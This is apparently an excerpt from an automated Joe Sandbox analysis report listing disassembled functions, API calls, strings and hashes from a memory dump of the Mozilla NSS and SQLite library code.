Instruction ID: d3ab3c2114e30ecdde700b60d2a5752555544179803c2334b1a50a5d0e0518d9
Opcode Fuzzy Hash: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction Fuzzy Hash: D061B8B0E043469BEB00DFA4DC45BAEB7B9BF05348F244168EC19AB741EB31D944CB59

Function 6C69ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEF1
free.MOZGLUE(6C67CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C67CDBB,?), ref: 6C69AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AF30

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction ID: fad65b32663147227c57ded8a907e7b1eb6ab56e4576f81340de2afdef39f978
Opcode Fuzzy Hash: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction Fuzzy Hash: 57517CB1E00602AFDB019F29D884B6AB7F4BF09318F144664E81997E12E731E865DBD9

Function 6C674CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C67AB7F,?,00000000,?), ref: 6C674CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C67AB7F,?,00000000,?), ref: 6C674CC8
TlsGetValue.KERNEL32(?,6C67AB7F,?,00000000,?), ref: 6C674CE0
EnterCriticalSection.KERNEL32(?,?,6C67AB7F,?,00000000,?), ref: 6C674CF4
PL_HashTableLookup.NSS3(?,?,?,6C67AB7F,?,00000000,?), ref: 6C674D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C674D10

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C674D26

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C674D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C674DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C674E02

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction ID: b98aa23e3d75ae641c1431bfecfe0f21bd859e319d41df9a30f74412226c3a0c
Opcode Fuzzy Hash: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction Fuzzy Hash: D241C5B5900201ABEB109F65EC44A6A77E9AF0635DF044570EC18C7B12FB71E914CFAA

Function 6C65BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BFFB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C65C015

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C65C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C65C04D

Part of subcall function 6C6A69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6A6A47
Part of subcall function 6C6A69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C6A6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C65C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C65C07B

Part of subcall function 6C658980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C657310), ref: 6C6589B8
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C657310), ref: 6C6589E6
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C658A00
Part of subcall function 6C658980: CERT_CopyRDN.NSS3(00000004,00000000,6C657310,?,?,00000004,?), ref: 6C658A1B
Part of subcall function 6C658980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C658A74

Part of subcall function 6C651D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D2C
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C65C09B,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D3F
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C65C087,00000000,000000B0,?), ref: 6C651D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C65C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C65C0C9

Part of subcall function 6C662DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C65C0D2,6C65C0CE,00000000,-000000D4,?), ref: 6C662DF5
Part of subcall function 6C662DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C65C0CE,00000000,-000000D4,?), ref: 6C662E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C65C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65C0E3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 8320b8659d23bb846ffa76398f8802d7cbbf2028aaed64b7554cf6fcff3ccd93
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: A82192E264020537FB006A65AC81FFB32AC9B4675CF580034FD05DAA46FB26D939877E

Function 6C652E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

TlsGetValue.KERNEL32 ref: 6C652E4E
EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
PL_HashTableLookup.NSS3(?), ref: 6C652E71
PL_HashTableRemove.NSS3(?), ref: 6C652E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
PR_Unlock.NSS3 ref: 6C652EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C652EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C652EC5

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction ID: 1a478fd230a7e3a31d434cb3f422bee105df001435c047742af4dfb6d3717c75
Opcode Fuzzy Hash: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction Fuzzy Hash: 5321C272A00101A7EF012F64EC49E9A3B69EB9235DF144430ED1896711FB32D96AD7AA

Function 6C63FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63FD18
sqlite3_initialize.NSS3 ref: 6C63FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD99
sqlite3_free.NSS3(00000000), ref: 6C63FE3C
sqlite3_free.NSS3(?), ref: 6C63FEE3
sqlite3_free.NSS3(?), ref: 6C63FEEE

Strings

simple, xrefs: 6C63FC79

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction ID: a29e9a7148c0a36b9f12d21e0b8b2286585db39fd4d761101827274671c3c6be
Opcode Fuzzy Hash: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction Fuzzy Hash: BA9190B0A012159FDB04CF59C984AAAF7F1FF85318F24E5ACD8189BB52D731E801CB95

Function 6C645CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C645EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C645EED

Strings

invalid, xrefs: 6C645EBE
API call with %s database connection pointer, xrefs: 6C645EC3
misuse, xrefs: 6C645EDB
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C645E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C645ED1
%s at line %d of [%.10s], xrefs: 6C645EE0

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction ID: be56037fdb2ff1a05655ef9e44743a1299fb140cc7d2d52e3cdada2fd10c6d1d
Opcode Fuzzy Hash: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction Fuzzy Hash: 6081D370B056019BEB19CF55C848BAAB7B1BF4130CF28C269D8155BB51D730EC42CB9E

Function 6C62DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C62DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DF78

Strings

database corruption, xrefs: 6C62DE5C, 6C62DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C62DE52, 6C62DE81
%s at line %d of [%.10s], xrefs: 6C62DE61, 6C62DE90

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction ID: 2f12b7cc26fb298577bf98f13595c783b8ad253f4254afced5542b85ccfb23c2
Opcode Fuzzy Hash: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction Fuzzy Hash: BD81D4717047009FD714CF25C884BAA77F1AF85308F14882DE99A8BB91E739E945CF5A

Function 6C5DCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5DB999), ref: 6C5DD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5DB999), ref: 6C72972B

Strings

database corruption, xrefs: 6C5DCFE7, 6C5DD013, 6C5DD028, 6C5DD039, 6C5DD03E, 6C729786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DCFDD, 6C5DD00E, 6C5DD022, 6C5DD033, 6C729780
%s at line %d of [%.10s], xrefs: 6C5DCFEC, 6C5DD018, 6C5DD029, 6C5DD03F, 6C72978B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction ID: a556edb3257586714ef7d9196c33a5a27a4af73a80c9416bb13600be2b843125
Opcode Fuzzy Hash: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction Fuzzy Hash: AD613671A003108BD310CF29CD40BA7B7E5EF95318F2945ADE4889BB42E376E946C7A5

Function 6C6DFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6E0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6E015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6E01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6E0202
free.MOZGLUE(?), ref: 6C6E0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0253

Strings

exporter, xrefs: 6C6E00F7

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction ID: e00dab8dafabfb761cd747737300dec7d2caa981533164d335d0d132ce2cb585
Opcode Fuzzy Hash: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction Fuzzy Hash: FE613371D0A3899BEF018FA4CC04BEE73B6FF4930CF14452AE91A5A661EB319954DB48

Function 6C6B4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C6B536F,00000022,?,?,00000000,?), ref: 6C6B4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C6B4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C6B4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C6B4FAE
free.MOZGLUE(?), ref: 6C6B4FC8

Strings

%s=%s, xrefs: 6C6B4F89
%s=%c%s%c, xrefs: 6C6B4FA9
oSkl", xrefs: 6C6B4DFB, 6C6B4EF4, 6C6B4EC5

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSkl"
API String ID: 2709355791-1689580949
Opcode ID: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction ID: a7f36f5b1f10008e451f27248ddb2f92d77968af8bce7bdb8b7c384813588b39
Opcode Fuzzy Hash: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction Fuzzy Hash: 6F516A71A051568BEF01CA69C4907FF7BF99F82348F188125F894B7B41D375882787A9

Function 6C6DEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEF6D

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

htonl.WSOCK32(00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFE4
htonl.WSOCK32(?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFF1
memcpy.VCRUNTIME140(?,?,6C6FA4A1,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF027

Strings

dtls13, xrefs: 6C6DEF33

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
